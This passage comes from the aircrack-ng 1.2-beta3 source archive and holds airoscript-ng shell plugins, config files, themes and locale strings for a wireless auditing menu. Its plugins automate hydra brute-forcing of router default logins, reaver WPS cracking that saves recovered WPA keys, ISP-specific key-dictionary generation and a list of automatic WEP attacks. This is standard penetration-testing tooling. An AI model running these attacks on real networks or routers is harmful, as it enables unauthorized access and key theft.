$DUMP_PATH/default_router_passwords -o $DUMP_PATH/router.key $router_ip http-head; } || { hydra -L $DUMP_PATH/default_router_logins -P $DUMP_PATH/default_router_passwords -o $DUMP_PATH/router.key $router_ip https-head; } } Crack_default_router_passwords(){ configure && hydra_ } aircrack-ng-1.2-beta3/scripts/airoscript-ng/src/plugins/reload0000644000000000000000000000134312012342101023123 0ustar rootroot#! /bin/bash declare -a -x enabled_plugins declare -a p_menu _source(){ for cfile in $@; do if [ -f $cfile ] && [ -O $cfile ]; then source $cfile; else if [ "$debug" == 1 ]; then echo "Could not load $cfile"; sleep 0.2 ;fi; fi; done; } [[ ! $path ]] && { [[ $(dirname ${BASH_SOURCE[0]}) =~ "local" ]] && { path=/usr/local/share/airoscript-ng _source "/usr/local/etc/airoscript-ng_advanced.conf /usr/local/etc/airoscript-ng.conf" } || { _source "/usr/etc/airoscript-ng_advanced.conf /usr/etc/airoscript-ng.conf" _source "/etc/airoscript-ng_advanced.conf /etc/airoscript-ng.conf" path=/usr/share/airoscript-ng } } _source "$path/_internal $path/menu $path/interface" _source "$path/themes/$theme" || default_theme aircrack-ng-1.2-beta3/scripts/airoscript-ng/src/plugins/delay0000644000000000000000000000007312004123752022764 0ustar rootrootread -p $'Welcome to Airoscript-ng. Press enter to start ' aircrack-ng-1.2-beta3/scripts/airoscript-ng/src/plugins/bash0000644000000000000000000000065712266364025022625 0ustar rootrootecho "Welcome to the airoscript-ng bash plugin" echo "This plugin will load bash, with all the needed variables to make wireless pentesting much faster and typeless, without loosing the power of the console and aircrack-ng" echo "You can check for Host_MAC Host_SSID and so on variables" echo "Have a look at the autocompletion features! (try airodump-ng -- AIROSCRIPT_)" echo "To return to airoscript, write exit" bash aircrack-ng-1.2-beta3/scripts/airoscript-ng/src/plugins/reaver0000644000000000000000000000122312271675067023171 0ustar rootrootp_menu+=("Crack with reaver") extend_menu[Select WPA Attack]="Crack with reaver" Crack_with_reaver(){ [[ $Host_MAC ]] && { execute "Reaver" reaver -i $wifi -b $Host_MAC &> $DUMP_PATH/reaver_$Host_MAC.log cat $DUMP_PATH/reaver_$Host_MAC.log | egrep -i "WPS PIN|WPA PSK| AP SSID" && echo "Press enter to continue" || echo "${mark} Reaver could not get the key, press enter to continue" cat $DUMP_PATH/reaver_$Host_MAC.log | egrep -i "WPA PSK" && { cat $DUMP_PATH/reaver_$Host_MAC.log | egrep -i "WPA PSK" >> $DUMP_PATH/$Host_MAC.key } } || { echo "${mark} You have to select a network first" } } aircrack-ng-1.2-beta3/scripts/airoscript-ng/src/plugins/xterm0000644000000000000000000001135212021445441023030 0ustar rootrootexport TERMINAL=xterm interfaces+=("xterm"); resolution() { { reso=$( awk '/\*/ {print $1}' <(xrandr) | head -n1; ); } &>/dev/null for i in ${!available_resos[@]}; do [[ ${available_resos[$i]} == $reso ]] && { reson=$reso; pos=$i; }; done [[ $reson != "" ]] && { export resonset=1; markwarn $"Automatically setting resolution to $reso" ; } xhost &>/dev/null || { error $"Access control for X is disabled for root. Please, as your normal user execute 'xhost +`whoami`' and press enter to continue"; } while true; do [[ $autoset == 1 ]] && { set_resolution_data 2; return; } if [[ ${resonset} == "" ]]; then mkmenu $"Set resolution" ${available_resos[@]}; pos=$choice; fi set_resolution_data $pos [[ $TLX == "" ]] && { $clear; error $"Unknown resolution, try again"; } || break; done } function set_resolution_data(){ while true; do case $1 in 1 ) TLX="83";TLY="11";TRX="60";TRY="18";BLX="75";BLY="18"; BRX="27";BRY="17";bLX="100";bLY="30";bRX="54";bRY="25"; setterminal; break;; 2 ) TLX="90";TLY="11";TRX="60";TRY="18";BLX="78";BLY="26"; BRX="52";BRY="15";bLX="130";bLY="30";bRX="78";bRY="25"; setterminal; break;; 3 ) TLX="92";TLY="11";TRX="68";TRY="25";BLX="78";BLY="26"; BRX="52";BRY="15";bLX="92" ;bLY="39";bRX="78";bRY="24"; setterminal; break;; 4 ) TLX="92";TLY="14";TRX="68";TRY="25";BLX="92";BLY="36"; BRX="74";BRY="20";bLX="100";bLY="52";bRX="54";bRY="25"; setterminal; break;; 5 ) TLX="92";TLY="14";TRX="68";TRY="25";BLX="92";BLY="36"; BRX="74";BRY="20";bLX="100";bLY="52";bRX="54";bRY="25"; setterminal; break;; 6 ) TLX="100";TLY="20";TRX="109";TRY="20";BLX="100";BLY="30"; BRX="109";BRY="20";bLX="100";bLY="52";bRX="109";bRY="30"; setterminal; break;; 7 ) TLX="100";TLY="20";TRX="109";TRY="20";BLX="100";BLY="30"; BRX="109";BRY="20";bLX="100";bLY="52";bRX="109";bRY="30"; setterminal; break;; 8 ) TLX="110";TLY="35";TRX="99";TRY="40";BLX="110";BLY="35"; BRX="99";BRY="30";bLX="110";bLY="72";bRX="99";bRY="40"; setterminal; break;; 9 ) TLX="110";TLY="35";TRX="99";TRY="40";BLX="110";BLY="35"; BRX="99";BRY="30";bLX="110";bLY="72";bRX="99";bRY="40"; setterminal; break;; 10) TLX="130";TLY="40";TRX="68";TRY="25";BLX="130";BLY="40"; BRX="132";BRY="35";bLX="130";bLY="85";bRX="132";bRY="48"; setterminal; break;; * ) break;; esac done } getterminal(){ if [ -x $TERMBIN/$TERMINAL ]; then _debug "Using configured terminal" else _debug "$TERMINAL was not used, not found on path" _debug "Using default terminal" TERMINAL=`ls -l1 /etc/alternatives/x-terminal-emulator|cut -d ">" -f 2|cut -d " " -f 2|head -n1` &>/dev/null; fi if [ -x "$TERMBIN/$TERMINAL" ] || [ -x "/usr/bin/$TERMINAL" ] || [ -x "/usr/sbin/$TERMINAL" ]; then D="1" else if [ -e $TERM ]; then _debug "Using environment defined terminal ($TERM)" TERMINAL=$TERM else if [ -x "$TERMBIN/xterm" ]; then TERMINAL="xterm" && _debug "Using Xterm" else echo $"I cant find any good terminal, please set one on your conffile Your TERMINAL var contains no valid temrinal Your alternative against x-terminal-emulator contains no terminal Xterm can\'t be found on your system, Maybe not in /usr/bin?" exit fi fi fi } function setterminal { getterminal _debug "Im going to set terminal options for your terminal now" case $TERMINAL in xterm|uxterm ) TOPLEFT="-geometry $TLX*$TLY+0+0 " TOPRIGHT="-geometry $TRX*$TRY-0+0 " BOTTOMLEFT="-geometry $BLX*$BLY+0-0 " BOTTOMRIGHT="-geometry $BRX*$BRY-0-0 " TOPLEFTBIG="-geometry $bLX*$bLY+0+0 " TOPRIGHTBIG="-geometry $bLX*$bLY+0-0 " HOLDFLAG="-hold" TITLEFLAG="-T" FGC="-fg" BGC="-bg" EXECFLAG="-e" ;; gnome-terminal|gnome-terminal.wrapper ) TOPLEFT="-geometry=$TLX*$TLY+0+0 " TOPRIGHT="-geometry=$TRX*$TRY-0+0 " BOTTOMLEFT="-geometry=$BLX*$BLY+0-0 " BOTTOMRIGHT="-geometry=$BRX*$BRY-0-0 " TOPLEFTBIG="-geometry=$bLX*$bLY+0+0 " TOPRIGHTBIG="-geometry=$bLX*$bLY+0-0 " EXECFLAG="-e " HOLDFLAG="" TITLEFLAG="-t" FGC="" DUMPING_COLOR="" INJECTION_COLOR="" ASSOCIATION_COLOR="" DEAUTH_COLOR="" BACKGROUND_COLOR="" BGC="" ;; esac [[ "$debug" = "1" ]] && echo $TOPLEFT \ $TOPRIGHT \ $BOTTOMLEFT \ $BOTTOMRIGHT \ $TOPLEFTBIG \ $TOPRIGHTBIG \ $HOLDFLAG\ $TITLEFLAG\ $FGC\ $BGC\ printf -- "$EXECFLAG \n" } # Resolution stuff available_resos=( 640x480 800x480 800x600 1024x600 1024x768 1280x768 1280x800 1280x1024 1440x900 1600x1200 ) [[ ! $dont_check_x ]] && resolution export termargs="$TOPLEFTBIG $BGC $BACKGROUND_COLOR $FGC $DUMPING_COLOR $EXECFLAG "; aircrack-ng-1.2-beta3/scripts/airoscript-ng/src/plugins/debug0000644000000000000000000000000512004317612022747 0ustar rootrootbash aircrack-ng-1.2-beta3/scripts/airoscript-ng/src/plugins/digenpy0000644000000000000000000000675312272273653023355 0ustar rootroot# Dict generators for airoscript #DEPENDS: digenpy # Copyright (C) 2009-2011 David Francos Cuartero # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. p_menu+=("Crack with dictionary generator"); digenpy_(){ [[ "$Host_ENC" =~ (.*)WPA(.*) ]] && { enc="WPA"; } || { enc="WEP"; } [[ "$3" == "crack" ]] && { execute "Cracking" crack $AIRCRACK -0 -l $DUMP_PATH/$Host_MAC.key -w $DUMP_PATH/digenpy__dic $DUMP_PATH/$Host_MAC-01.cap } || { [[ $3 == "conn_crack" ]] && { conn_crack && cp $DUMP_PATH/digenpy__dic $DUMP_PATH/$Host_MAC.key || return 1 } || { AUTO=1; QUIET=0; digenpy $1 $2 $Host_MAC $Host_SSID $enc > $DUMP_PATH/digenpy__dic; markwarn "Dictionary automatically generated present in $DUMP_PATH/digenpy__dic" AUTO=0; QUIET=""; } } } Telefonica(){ if [[ "$Host_SSID" =~ WLAN* ]]; then avail=1; [[ $test == 1 ]] && return digenpy_ Spanish Telefonica digenpy_ Spanish Telefonica crack && cracked=1 fi } Jazztel(){ if [[ "$Host_SSID" =~ JAZZTEL* ]]; then avail=1; [[ $test == 1 ]] && return [[ "$Host_ENC" =~ (.*)WPA(.*) ]] && { min_ivs=10; return; } warn $"Encription is" "$Host_ENC" digenpy_ Spanish Jazztel digenpy_ Spanish Jazztel crack && cracked=1 fi; } TelefonicaWPA(){ if [[ "$Host_SSID" =~ WLAN* ]]; then avail=1; [[ $test == 1 ]] && return digenpy_ Spanish TelefonicaWPA digenpy_ Spanish TelefonicaWPA conn_crack && cracked=1 fi } JazztelWPA(){ if [[ "$Host_SSID" =~ JAZZTEL* ]]; then avail=1; [[ $test == 1 ]] && return [[ "$Host_ENC" =~ (.*)WPA(.*) ]] && { min_ivs=10; return; } warn $"Encription is" "$Host_ENC" digenpy_ Spanish JazztelWPA digenpy_ Spanish JazztelWPA conn_crack && cracked=1 fi; } Crack_with_dictionary_generator(){ if [ "$Host_SSID" == "" ]; then $clear; echo -e $"Error: You must select a target first"; return; fi [[ "${1}" == "get_wpa" ]] && { for function in "TelefonicaWPA" "JazztelWPA" ; do $function; test=0; done return } if [ "$1" == "return_ivs" ]; then for function in "Telefonica" "Jazztel" ; do test=1; $function; test=0; [[ "$avail" == "1" ]] && return 4; done return 255 else for function in "Telefonica" "Jazztel"; do tag [[ $QUIET_DIGENPY == 1 ]] || warn "${mark}Trying $function" $function [[ "$cracked" == "1" ]] && return done if [ "$1" == "autocrack" ]; then export wait_for_execute=1; AUTO=1; selectcracking 1; AUTO=0; export wait_for_execute=0; else selectcracking fi fi } aircrack-ng-1.2-beta3/scripts/airoscript-ng/src/conf/0000755000000000000000000000000012316431270021212 5ustar rootrootaircrack-ng-1.2-beta3/scripts/airoscript-ng/src/conf/airoscript-ng_debug.conf0000644000000000000000000000021511776654501026023 0ustar rootroot# Set up airserv-ng ssh -p6969 xayon@ssh.davidfrancos.net -L666:localhost:666 # FIXME It's just not like that. export wifi="127.0.0.1:666" aircrack-ng-1.2-beta3/scripts/airoscript-ng/src/conf/airoscript-ng.conf0000644000000000000000000000550312272273653024657 0ustar rootroot# Copyright (C) 2009 David Francos Cuartero # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write t#!/bin/bash # ------------- WORDLISTS ----------------------------------- WORDLIST="~/.airoscript/wordlist.txt" # Path to your wordlist file (for WPA and WEP dictionnary attack) db_location="~/.airoscript-ng/pmk.db" # Were to look for default pmk database # -------------- PLUGIN SUPPORT ------------------- enabled_plugins=( "$path/plugins/tmux" "$path/plugins/digenpy" "$path/plugins/johntheripper" "$path/plugins/mdk3" ) #------------ Wireless interfaces ----------- wifi="" iwifi="" # If you set wifi (and only then) you can specify Injection Wifi Card here. # So if you have to use different interfaces for injection and reading, use this. # Right now, is the only way to have two interfaces working: TODO FIX THIS. auto_fake_mac=1 # Set to 0 to not change mac to fake mac automatically at interface creation # -------------- Appeareance ---------------- # Theme file and other interface options theme="default.theme" export DEFAULT_MONITOR_MODE=1 # If set to 1, it won't ask to put the interface in monitor mode, it'll just do it. export SHOW_SMALL_MENU=0 # If set to 1, menu descriptions won't appear (easier to see on smallest screens) export show_only_wireless_extensions=1 # If set to one, only wireless interfaces with wireless extensions are shown. If your iface is not shown disable this. show_warning=1 # Put to zero if you don't want the usage warning to appear. show_startup_goodie=1 INTERACTIVE=0 # Set this to 0 to less asking # Help options show_help_term=1 # Enable or disable the help menu (a x-terminal showing info) # Other options force_mac_address=0 # Set this to one to override mac checking keep_exit_quiet=1 # Set to 0 to ask for various things at exit. delete_files_on_exit=0 # Set this to 0 to ask for file deletion and so on on exit, right now it will delete everything... Wich might not be what you want. export MON_PREFIX="airoscript" # Prefix to use when creating monitor interfaces. Does not work with aircrack-ng 1.1 # Uncomment this if you want it to ask you for more options every thime it execs a external tool (advanced) (slow) (useful) # ADDOPTIONS=1 aircrack-ng-1.2-beta3/scripts/airoscript-ng/src/conf/airoscript-ng_advanced.conf0000644000000000000000000000717712121241146026476 0ustar rootroot# Copyright (C) 2009 David Francos Cuartero # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. # ----------- External software -------------- DHCPSOFT="" # If not specified, it'll try to find the available dhcp # Software TERMINAL="airoscript_quiet" # # Deps are dynamic, depending on terminal # required_software=( "macchanger", "iw" ) # ----------- AIRCRACK_NG CONFIG #This is the rate per second at wich packets will be injected INJECTRATE="1000" #How many times the deauth attack is run DEAUTHTIME="8" #Time between re-association with target AP AUTHDELAY="100" KEEPALIVE="30" #Fudge factor setting FUDGEFACTOR="2" # ----------- AUTOPWN ------------------ # This is for the autopwn functions. attack_functions=(wep_attacks_fakeauto wep_attacks_fakeinteractive wep_attacks_chopchop wep_attacks_caffelate wep_attacks_hirte wep_attacks_arpreplay_auto wep_attacks_arpreplay_interactive wep_attacks_fragmentation wep_attacks_chopchopclient wep_attacks_pskarp) set -a autopwn_sleep autopwn_min_ivs=50000 autopwn_sleep=("8000" "6000" "6000" "6000" "6000" "6000") autopwn_tries=("3" "3" "3" "3" "3" "3") time_to_scan=12 #The path where the data is stored TMPDIR="/tmp" DUMP_PATH=`mktemp -d` #The Mac address used to associate with AP during fakeauth FAKE_MAC=$(od /dev/urandom -w6 -tx1 -An|sed -e 's/ //' -e 's/ /:/g'|head -n 1) # Random fake mac, got from commandlinefu =) Host_IP="255.255.255.255" Client_IP="255.255.255.255" # Fragmentation IP FRAG_HOST_IP="255.255.255.255" FRAG_CLIENT_IP="255.255.255.255" # Default packet size values for tkiptun-ng attack TKIPTUN_MAX_PL=100 TKIPTUN_MIN_PL=80 #Paths # Set this up for special airoscript-ng and aircrack-ng installations. # prefix="/usr/local" # Airoscript and other tools path # path="$prefix/share/airoscript-ng/" # b_prefix="/usr/local" # Aircrack-ng path #bindir="$b_prefix/bin/" # add bin to paths #sbindir="$b_prefix/sbin/" # Same TERMBIN="/usr/bin/" # If your terminal is in /usr/X11... foo, then this is for you. # -------------------------- External configuration files ------------------ # John the ripper config defaults [[ "$jtr_conf" == "" ]] && jtr_conf="~/.john/john.conf" # ---------------- Internal configurations ----------------- [[ -e /usr/local/share/locale/es_ES.UTF-8/LC_MESSAGES/airoscript-ng.mo ]] && { export TEXTDOMAINDIR=/usr/local/share/locale/ export TEXTDOMAIN=airoscript-ng } || { export TEXTDOMAINDIR=/usr/share/locale/ export TEXTDOMAIN=airoscript-ng } do_logo(){ clear; [[ $show_startup_goodie ]] && { airoscript_ascii_art 2>/dev/null ; }; } clear="do_logo" # Command to clear screen, comment to never clear screen. hold=0 # Dont close terminal windows debug=0 # Show extra info # Dont delete this CURRENT=1 cd $DUMP_PATH mkdir ~/.airoscript 2> /dev/null # Create airoscript main dir attack_notification="Attack launched, select current window menu." aircrack-ng-1.2-beta3/scripts/airoscript-ng/src/conf/screenrc.airoscript0000644000000000000000000000174011776654501025136 0ustar rootroot# Copyright (C) 2009 David Francos Cuartero # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. hardstatus alwayslastline hardstatus string '%{= kG}[ %{G}%H %{g}][%= %{= kw}%?%-Lw%?%{r} (%{W}%n*%f%t%?(%u)%?%{r})%{w}%?%+Lw%?%?%= %{g}][%{B} %d/%m %{W}%c %{g}]' aircrack-ng-1.2-beta3/scripts/airoscript-ng/src/templates/0000755000000000000000000000000012316431270022263 5ustar rootrootaircrack-ng-1.2-beta3/scripts/airoscript-ng/src/templates/stop0000644000000000000000000000001711632057531023175 0ustar rootroot aircrack-ng-1.2-beta3/scripts/airoscript-ng/src/templates/start.html0000644000000000000000000000423211656063600024313 0ustar rootroot
aircrack-ng-1.2-beta3/scripts/airoscript-ng/src/themes/0000755000000000000000000000000012316431270021552 5ustar rootrootaircrack-ng-1.2-beta3/scripts/airoscript-ng/src/themes/minimal.theme0000644000000000000000000000332511617120331024223 0ustar rootroot# Copyright (C) 2009 David Francos Cuartero # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # Along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. DUMPING_COLOR="white" INJECTION_COLOR="green" ASSOCIATION_COLOR="red" DEAUTH_COLOR="blue" BACKGROUND_COLOR="black" separator="" separator_h="" separator_v="" mark=$'[\e[0;31m+\e[0m] ' red=$'\e[0;31m' white=$'\e[1;37m' lgrey=$'\e[1;27m' end=$'\e[0m' airoscript_ascii_art(){ p=$'\e[5m'; g=$'\e[0;32m';r=$'\e[0;31m';w=$'\e[1;37m';e=$'\e[0m'; echo -e " $r (( (o) )) $w+-------$r$bold/|\\$w---+\t$end ___ _ _ _ $w|$g >$r /\|/\ $w|\t / _ \(_) (_) | | $w|$r /\_|_/\ $w| \t / /_\ \_ _ __ ___ ___ ___ _ __ _ _ __ | |_ $w|$r /\__|__/\\$w| \t | _ | | '__/ _ \/ __|/ __| '__| | '_ \| __| $w+--------$r|$w----+ \t | | | | | | | (_) \__ \ (__| | | | |_) | |_ \t \_| |_/_|_| \___/|___/\___|_| |_| .__/ \__| \t | | \t |_|"; } aircrack-ng-1.2-beta3/scripts/airoscript-ng/src/themes/inverse.theme0000644000000000000000000000416211617120331024250 0ustar rootroot# Colors: #Dumping White #FFFFFF # #Injection Green #1DFF00 # #Association Red #FF0009 # #Deauth Blue #99CCFF # #Background Black #000000 # Copyright (C) 2009 David Francos Cuartero # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # Along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. DUMPING_COLOR="black" INJECTION_COLOR="green" ASSOCIATION_COLOR="red" DEAUTH_COLOR="blue" BACKGROUND_COLOR="white" separator=" " separator_h="-" separator_v="|" separator_x="+" mark=$'[\e[0;31m+\e[0m] ' red=$'\e[0;31m' white=$'\e[1;37m' lgrey=$'\e[1;27m' end=$'\e[0m' airoscript_ascii_art(){ p=$'\e[5m'; g=$'\e[0;32m';r=$'\e[0;31m';w=$'\e[1;37m';e=$'\e[0m'; echo -e " $r (( (o) )) $w+-------$r$bold/|\\$w---+\t$end ___ _ _ _ $w|$g >$r /\|/\ $w|\t / _ \(_) (_) | | $w|$r /\_|_/\ $w| \t / /_\ \_ _ __ ___ ___ ___ _ __ _ _ __ | |_ $w|$r /\__|__/\\$w| \t | _ | | '__/ _ \/ __|/ __| '__| | '_ \| __| $w+--------$r|$w----+ \t | | | | | | | (_) \__ \ (__| | | | |_) | |_ \t \_| |_/_|_| \___/|___/\___|_| |_| .__/ \__| \t | | \t |_|"; } aircrack-ng-1.2-beta3/scripts/airoscript-ng/src/themes/default.theme0000644000000000000000000000353312271675067024244 0ustar rootroot# Copyright (C) 2009 David Francos Cuartero # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # Along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. # FIXME the separator stuff still won't fit well :( DUMPING_COLOR="white" INJECTION_COLOR="green" ASSOCIATION_COLOR="red" DEAUTH_COLOR="blue" BACKGROUND_COLOR="black" separator=" " separator_h="─" separator_v="│" separator_tl="â•­" separator_tr="â•®" separator_br="╯" separator_bl="â•°" mark=$'[\e[0;31m+\e[0m] ' red=$'\e[0;31m' white=$'\e[1;37m' lgrey=$'\e[1;27m' end=$'\e[0m' airoscript_ascii_art(){ p=$'\e[5m'; g=$'\e[0;32m';r=$'\e[0;31m';w=$'\e[1;37m';e=$'\e[0m'; echo -e " $r (( (o) )) $w+-------$r$bold/|\\$w---+\t$end ___ _ _ _ $w|$g >$r /\|/\ $w|\t / _ \(_) (_) | | $w|$r /\_|_/\ $w| \t / /_\ \_ _ __ ___ ___ ___ _ __ _ _ __ | |_ $w|$r /\__|__/\\$w| \t | _ | | '__/ _ \/ __|/ __| '__| | '_ \| __| $w+--------$r|$w----+ \t | | | | | | | (_) \__ \ (__| | | | |_) | |_ \t \_| |_/_|_| \___/|___/\___|_| |_| .__/ \__| \t | | \t |_|"; } aircrack-ng-1.2-beta3/scripts/airoscript-ng/src/airoscript-ng0000644000000000000000000000765012272273653023013 0ustar rootroot#!/bin/bash # Depends: aircrack-ng, bash >= 4 # Recommends: mdk3, digenpy, macchanger, # Copyright (C) 2008 Daouid # Copyright (C) 2009-2013 David Francos Cuartero # See Authors for a more detailed authors spec. # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # Along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. main_args=$@; declare -a -x enabled_plugins declare -a p_menu declare -A extend_menu p_menu+=( "Enable plugin" ) _source(){ for cfile in $@; do if [ -f $cfile ] && [ -O $cfile ]; then source $cfile; else if [ "$debug" == 1 ]; then echo "Could not load $cfile"; sleep 0.2 ;fi; fi; done; } Enable_plugin(){ cd $path/plugins; available_plugins=(*); cd -; mkmenu "Enable plugin" "${available_plugins[@]}" _source $path/plugins/${available_plugins[$choice - 1 ]} || { warn "${mark}Unknown option or bad plugin, try again"; Enable_plugin; } #nodebug } exit_trap(){ [[ $tail_launched != 0 ]] && { tail_launched=0; return; }; check_function doexit || source $path/internal/exit; echo; echo; doexit; } Return_to_main_menu(){ mainmenu; } if [ "$UID" != 0 ]; then echo -e "You Must be root to use airoscript"; exit 1; fi; [[ ! $path ]] && { [[ $(dirname ${BASH_SOURCE[0]}) =~ "local" ]] && { path=/usr/local/share/airoscript-ng _source "/usr/local/etc/airoscript-ng_advanced.conf /usr/local/etc/airoscript-ng.conf" } || { _source "/usr/etc/airoscript-ng_advanced.conf /usr/etc/airoscript-ng.conf" _source "/etc/airoscript-ng_advanced.conf /etc/airoscript-ng.conf" path=/usr/share/airoscript-ng } } plugin_check_and_source(){ grep "#DEPENDS:" $1 &>/dev/null && { declare -a DEPS DEPS=($(grep "#DEPENDS: " $1|sed 's/#DEPENDS: //g')) for dep in ${DEPS[@]}; do type $dep &>/dev/null && { _source $1 } || { echo "${mark}Not loading $1, dependence not installed" sleep 1 } done } || _source $1 } # We preload functions, configs and themes in a cool way. _source "$path/_internal $path/menu $path/interface" _source "$path/themes/$theme" || default_theme for i in ${enabled_plugins[@]}; do plugin_check_and_source $i; done check_injection() { echo -n "${mark}Checking if interface can inject..." $AIREPLAY -9 $wifi &>/dev/null && echo "${red}success${end}" } # Setup wordlist [[ ! -e $DUMP_PATH/wordlist.txt ]] && { cp $WORDLIST $DUMP_PATH &>/dev/null; WORDLIST="$DUMP_PATH/`basename $WORDLIST`"; } trap exit_trap 1 2 3 4 5 6 7 8 10 12 13 14 15 20 # Set an exit trap to clean out all the interfaces setaircrackpaths # Set aircrack-ng paths setps # Set PS3 variable warn "${mark}Welcome to airoscript, have a nice day" check_default_software & setargs $@ # Plugins are also loaded here, so be carefull check_cardctl; #debug launch_help_fifo & setinterface "start" cleanautovars check_injection [[ "$noscan" != 1 ]] && autoscan (( $BASH_PLUGIN > 0 )) && { export AIROSCRIPT_AP_CHAN=$Host_CHAN export AIROSCRIPT_AP_ENC=$Host_ENC export AIROSCRIPT_AP_IDL=$Host_IDL export AIROSCRIPT_AP_IP=$Host_IP export AIROSCRIPT_AP_MAC=$Host_MAC export AIROSCRIPT_AP_SPEED=$Host_SPEED export AIROSCRIPT_AP_SSID=$Host_SSID export AIROSCRIPT_AP_NAME=$Host_SSID source $path/plugins/bash } || { mainmenu } aircrack-ng-1.2-beta3/scripts/airoscript-ng/src/locale/0000755000000000000000000000000012316431267021532 5ustar rootrootaircrack-ng-1.2-beta3/scripts/airoscript-ng/src/locale/airoscript-ng.po0000644000000000000000000003720412104214160024643 0ustar rootroot#: src/plugins/mdk3:36 msgid "Unknown response. Try again" msgstr "Respuesta incorrecta, pruebe de nuevo" #: src/plugins/digenpy:45 msgid "Encription is" msgstr "La encriptacion es" #: src/plugins/digenpy:52 msgid "Error: You must select a target first" msgstr "Error: debe seleccionar un objetivo" #: src/functions/interface:38 msgid "Automatically setting resolution to $reso" msgstr "Configurando resolucion automaticamente a $reso" #: src/functions/interface:39 msgid "Access control for X is disabled for root. Please, as your normal user execute 'xhost +`whoami`' and press enter to continue" msgstr "El control de acceso a las X esta desactivado para root. Por favor, ejecuta 'xhost +' como tu usuario normal y pulsa enter" #: src/functions/interface:41 msgid "Set resolution" msgstr "Configurar resolucion" #: src/functions/interface:43 msgid "Unknown resolution, try again" msgstr "Resolucion desconocida, por favor, intentelo de nuevo" #: src/functions/interface:100 msgid "Select option:" msgstr "Seleccionar: " #: src/functions/interface:125 msgid "" "I cant find any good terminal, please set one on your conffile\n" " Your TERMINAL var contains no valid temrinal\n" " Your alternative against x-terminal-emulator contains no terminal\n" " Xterm can\\'t be found on your system, Maybe not in /usr/bin?" msgstr "No puedo encontrar ningun terminal correcto, por favor, configure uno en airoscript-ng.conf" #: src/functions/menu:19 msgid "Main Menu" msgstr "Menu principal" #: src/functions/menu:19 msgid "Attack - Attack target" msgstr "Atacar - Atacar objetivo" #: src/functions/menu:19 msgid "Crack - Get target key" msgstr "Crackear - Crackear la clave del objetivo" #: src/functions/menu:19 msgid "Select - Reselect target" msgstr "Seleccionar - Seleccionar otro objetivo" #: src/functions/menu:19 msgid "Others - Various utilities" msgstr "Otros - Utilidades varias" #: src/functions/menu:19 msgid "Autopwn- Automatic cracking" msgstr "Autopwn - Crackeo automatico" #: src/functions/menu:19 msgid "Exit - Quits" msgstr "Exit - Sale" #: src/functions/menu:28 msgid "ERROR: Wrong number entered" msgstr "Error: Numero incorrecto" #: src/functions/menu:43 msgid "You have no IVS, please scan first" msgstr "No tienes ivs, por favor escanea primero" #: src/functions/menu:45 msgid "WEP/WPA Cracking Options" msgstr "Crackeo WEP/WPA" #: src/functions/menu:45 msgid "Crack with manual dictionary" msgstr "Crackear con diccionario manual" #: src/functions/menu:45 msgid "Standard aircrack-ng" msgstr "Aircrack-ng standard" #: src/functions/menu:45 msgid "Return to menu" msgstr "Volver" #: src/functions/menu:60 msgid "Select encryption" msgstr "Seleccionar encriptacion" #: src/functions/menu:60 msgid "Return to main menu" 